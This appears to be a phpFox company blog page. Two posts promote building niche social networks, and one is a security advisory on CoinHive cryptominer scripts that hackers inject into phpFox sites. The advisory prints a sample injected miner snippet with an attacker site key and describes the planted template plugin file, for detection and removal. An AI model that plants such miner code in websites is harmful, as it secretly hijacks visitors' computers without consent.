Blog

  • Overseeing ‘Functional’ Strategy For Your Social Network

    Overseeing ‘Functional’ Strategy For Your Social Network

    Once you've had your Niche Idea for your Niche Social Network site, that comes to finally start your own social network, you should fully aware that the hardest part is not how to make the network available, but how to make people stay and use your network. Definitely, creating a social network is not something you can do in a day, and so oversee functional strategy for your social network is a must to prevent failure and get your network out to the world.In this blog, we will discuss how to build up a solid functional strategy for your Social Network. Develop Functional Strategy Based On Core Values Of Your Social Network First thing first, you have to decide what your unique value proposition is for your users.How are you going to entice someone to leave the social networking they already use on a daily basis and decide to instead spend time on your network?The answer is that not all social networks boil down to the same recipe for success. Different users will have different demands and requirements on a network. As long as the features and functionalities of your network satisfy, or at least are appropriate to users' preferences, they will stay and enjoy your network.Research indicates that every successful network has only about 20% of functional features identical to existed networks, the impact which makes people keep on coming to a network is from 80% of its unique functional features. Therefore, you should focus on developing specific features which directly identify your site purpose. For instance, LinkedIn takes 'connection' into account as the primary functional trait of the network instead of 'friend' just like on Facebook. This is because LinkedIn is different from other networks as it's specifically designed for business and professionals, making it one of the more important platforms to use for those in B2B. Build Functional Tools To Directly Serve Users' Intentions The next thing to consider is to understand users' behaviors on your network.In other words, the way users utilize the provided tools will determine the direction you should develop your network.Providing users with what they are looking for gives you chances to connect with fans, customers, and prospective customers on a more personal, human level.These unique functional tools don't need to be complex. It just needs to be straightforward, useful and most importantly, it should work well.For instance, Instagram is dedicated mainly to photos while Facebook is inclined towards recent updates. Facebook encourages users to share daily elements, whereas Twitter is more about sharing serious issues such as news and updates. While Instagram uses photo collections as the way to connect people, Twitter triumphs the relations using hashtags. Bottomline Going through this brainstorm you can definitely have your idea about your Social Network – the strong start to build, maintain and monetize your own community. Don’t worry about how strong or weak of your idea or how to make it happen, you can contact us at hello@phpfox.com – number one Social Network Platform! Our experts and partners are happy to assist you from the day one toward your successful community
  • Niche Idea – the first step to create Niche Social Network

    Niche Idea – the first step to create Niche Social Network

    When you are aware of the benefits of Niche Social Network, it is also time you face those questions: How to create your own social network? Where do I start to build a website like Facebook? How to successfully create Social Network from scratch and monetize it?... Don’t worry or feel loss, isn’t everyone so? Let's step-by-step figure that out by going through our how-to series: How To Create Niche Social Network Why Niche Social Network? Niche networks are, by definition, groups of people who are intensely interested in a certain topic. People will be able to discuss the topic at hand without countless clutter and posts on other subjects getting in the way (e.g Facebook, Twitter…)Linkedin, the world largest Niche Social Network started by the idea of business-oriented community. It helps users create profile as resume like, invite and connect each other instead of friending, sharing and discuss expertise topics, experiencesNowadays, users tend to use more Niche Social since the concern of privacy, communication, knowledge, and interests. On the other hand, owning a Niche Social Network means you own that niche market. Community management will be much more effective and efficient with lower cost and efforts[caption id="attachment_5488" align="aligncenter" width="671"] How to create your Niche Social Network?[/caption] Let’s start from the very first step of creating your own Social Network: Niche Idea Steve Jobs 1996 famous quote: "Picasso had a saying -- 'good artists copy; great artists steal' -- and we have always been shameless about stealing great ideas."I mentioned that so even when you don’t have your breakthrough idea yet but still you can plan to have one base on the compiling others ideas, nurture, adding value and make it your ownWith Niche concept, you don’t have to target large community. It could be your own interests and meet others in term of hobbies, expertise or situations.You can start your niche idea by identifying niche community, this can base on 2 important factors:(1) psychological factor,(2) demographic dataGather all the information, data you have on the targeted community including what do prospect members sharing about common interests? What are their preferences? Like and dislikes? Incentives? Where are they?...Let’s say you have your own customers that use your products or services, this is the easiest way to approach since you know their wants, needs and how to cater them. Or you are one of the fans in specific activities, professional group member and you understand who are also like you, where are they and what brings them together, it’s great to define that community and lead it. Engaging your niche community: Since you identify your community and its preferences in your idea, great start! Now let fine tune it by deciding how you would approach them. There would be 2 common practice approaches- Narrow group approach: Focus on small but value prospect group of members in your community first. Apply the best understandings to add value, benefits and set a clear path to investing on how to promote and encourage this group expansionEven Facebook, Mark Zuckerberg started with a group of students from Ivy League Schools, using their reputations and relationships to develop a much bigger networking later onWith this strategy, you can narrow down investment and effort from the beginning stage. Focus on functions, marketing and values adding on the platform you would build- Large-scale approach: normally this is borderless demographic approach, focus on general interests and recruit as much as members from the beginningInstead of just Social Network for Tax consultants, you can start with Consultants Social Network where any consultant can join and showcase their works from legal, accounting, healthcare to psychology...This will help you more opportunity to approach larger targeted members baseEach approach has its own pros and cons and you can choose one, mix them or selectively use in phases as well. This has to be carefully planned as it fulfills your original idea and shaping how your Social Network Site functions. Conclusion: When niche social network and its benefits are clearly adding value to your vision and business, you can start building your own Social Network easily. First of all, it starts with a Niche Idea, where you identify your niche community base on psychological factors, demographic data...Then plan out how you can engage to that community by which strategy.You may now asking what to do next base on your idea, please check out our post for the second article on how to oversee functional Social Network. You can subscribe to our newsletter mailing list or our social channels  Bottomline: Going through this brainstorm you can definitely have your idea about your Social Network - the strong start to build, maintain and monetize your own community. Don’t worry about how strong or weak of your idea or how to make it happen, you can contact us at hello@phpfox.com - number one Social Network Platform! Our experts and partners are happy to assist you from the day one toward your successful community
  • About CryptoCurrency Miner Script

    About CryptoCurrency Miner Script

    CryptoCurrency Miner Script Nowadays you can hear people talk much about cryptocurrencies everyday. Cryptocurrency is a new trend now and indeed everybody wants to have a piece of this cake. This trend resulted in the emergence of online platforms that allow webmasters to install coin miners into their websites as an alternative means of monetization. Unfortunately, hackers can also abuse coin miner scripts by injecting them to websites without awareness of webmasters to get some benefits.As reports and observations that we conducted recently, same as other popular platforms such as Wordpress, Joomla, etc., phpFox is also a target for hackers. They have injected in many phpFox sites without any permissions of webmasters. Among them, CoinHive is exposed as the most spreading and popular script which enables hackers to hijack sites and drain the resources of users when they access to sites. What is CoinHive? CoinHive is one of the most popular JavaScript cryptocurrency miners for websites. According to CoinHive creator, it is a JavaScript miner for the Monero Blockchain that webmaster can embed into their websites. Users run the miner directly in their browsers and mine for the webmaster in turn for an ad-free experience, in-game currency…Unfortunately, cybercriminals see this as an opportunity and have started abusing this tool by first hacking into websites and then embedding this JavaScript code into the core of popular platforms without the consent of site owner. Through this, hackers can use computers of site visitors to mine digital currency for them without users’ permissions.In fact, CoinHive hijacking issue is becoming a security threat among popular Social Network and CMS platforms. Hackers target these platforms because sites using these platforms attract a large volume of users on a daily basis which is the best for coin mining purpose. There are records of sites using Wordpress, Joomla, Magento, Drupal and many popular platforms as the victims of this kind of attack. Please refer to this article for more info. Certainly, our phpFox platform is not an exception to this plague. What are impacts of injected CoinHive script? By injecting CoinHive script into the core of the platform, the mining script will be called and run automatically by default when users load any page of the infected site. Once CoinHive script runs, resources on the computer of users will be hijacked and used as a coin miner. The script runs in background secretly so common users don’t even know the existence of the script to take actions.Under the effect of CoinHive miner script, common symptoms which site visitors can easily notice are:High CPU and graphics cards usage. The computer works slowly on the browser and other programs. The computer will eventually stop working with high load.How to detect websites using CoinHive script? As mentioned above, the most obvious way to know if a site has CoinHive script running is to measure the performance of your computer. If you visit a site and realize your computer runs slower than usual, and there are no announcements of site owner about using CoinHive as an alternative revenue, please contact the site owner immediately. There is a high possibility that the site is already hijacked by hackers and running coin miner scripts.On the phpFox platform, the quick and easy way to detect if CoinHive script is running is by pulling and examining the source of a page after logging in to the site (To view page source right-click on a page and select ‘View Page Source’).You might see on page source something similar to: <script>;$Ready(function() {setTimeout(function(){ var miner = new CoinHive.Anonymous('uoVwp8UScbNhkfzJn7rPNZFP3Pe1c54x');miner.start(); }, 10000);});</script> Notice the site key as marked red, this is the key generated by hackers. Any coin mined will be transferred to hackers by using this key.And: <script src="https://coinhive.com/lib/coinhive.min.js"></script> Those are indicators to show that a site is running CoinHive in the background.There is an easy way to detect and prevent CoinHive from running and eating up all computer resources is by using coin mining script blocker extensions on browsers.We suggest extensions such as:J2TeaM Security- Google Chrome: https://chrome.google.com/webstore/detail/j2team-security/hmlcjjclebjnfohgmgikjfnbmfkigocc/No Coin- Google Chrome: https://chrome.google.com/webstore/detail/no-coin-block-miners-on-t/gojamcfopckidlocpkbelmpjcgmbgjcl?hl=en- Firefox: https://addons.mozilla.org/en-US/firefox/addon/no-coin/ How is CoinHive injected into phpFox? Go in a little deeper, we figured when hackers have FTP access with the permission to modify files on phpFox site, they will insert this line to file:…/PF.Base/include/library/phpfox/template/template.class.phpThis will check for the existence of a plugin. if the plugin exists then the plugin will run and do something on the template. In this case, it is a plugin called template_getheader which is located at:…/PF.Base/module/core/include/plugin/template_getheader.phpThis file has simple content. It just plainly inserts the coin mining script to the header of phpFox main template file, so every page will load with the script embedded.In other words, the flow of these actions basically is:User requests to load a page. Template file will be called to render the page. Injected code in template file will execute and call the malicious plugin. The plugin will inset coin mining script into the template file. From corrupted template file, the page will be rendered out with the coin mining script attached. User loads page and also runs the script.Therefore, this is definitely NOT a security vulnerability in phpFox Script. Without FTP permission to access, create, upload or modify files, there is no way hackers can take advantage and penetrate scripts and files to the core of phpFox platform. How to remove CoinHive script? After testing the interactions of how hackers use the script on phpFox page, we suggest a simple solution to get rid of CoinHive script by removing malicious plugin file from the core of phpFox.As mention above, the malicious added file is located in:…/PF.Base/module/core/include/plugin/template_getXXXXX.phpWith testing, we concluded that after removing this malicious plugin file, the template file will no longer generate coin mining script on the page and will render normally. So users will be safe to access your site.Please note that the plugin file comes with many names, usually it in the format of template_getXXXXX.php such as template_getheader.php, template_gettemplate.php…An easier way to know the file is by referencing the created/modified date of the file. It’s usually the most recent created/modified file in the folder.However, this solution is suggested as just a temporary fix for an early stage of the investigation. We will conduct more research on the source and the origins to help you have better solutions. Anyway, any solutions won't work unless you manage FTP access seriously and carefully. How to prevent your site from injection of CoinHive script? Currently, we know for sure that hackers are unable to inject the scripts to your site without FTP permission to access and manipulate files.Therefore, manage FTP access seriously and carefully. Whenever you give FTP to any parties, you should create a separate account for each, so if any party creates/modifies anything on your site, their activities will be logged and you can reference or traceback in case anything happens. Make sure to enable FTP log and check the log on the date the malicious plugin file created, high chance you will know which party created/uploaded the file to your site. You will need to change the password of FTP accesses periodically or right after parties complete their works on your site.Also, please be aware of any suspicious apps and modules. Make sure you purchase them from trustable developers/companies. If you think an app causes this issue, please don’t hesitate to contact phpFox team, we will review the app and take appropriate actions if needed. All bits of help is appreciated in the process.Lastly, backup your site regularly. Notice changes on your site, if your site doesn’t work as usual (slower, sluggish…), please check for the interaction of coin mining script as mentioned above. In case of the issue is happening, revert back to the latest backup and trace what changes you made which might cause the issue (Installed an app, gave FTP to someone…) Report Abuse to CoinHive team Also, if you think a site is using CoinHive script without any notice of the usage to users, you can report CoinHive abuse here. Make sure you have the site key when reporting the abuse.In any case, you can always contact us to seek assistance.phpFox Team
Fox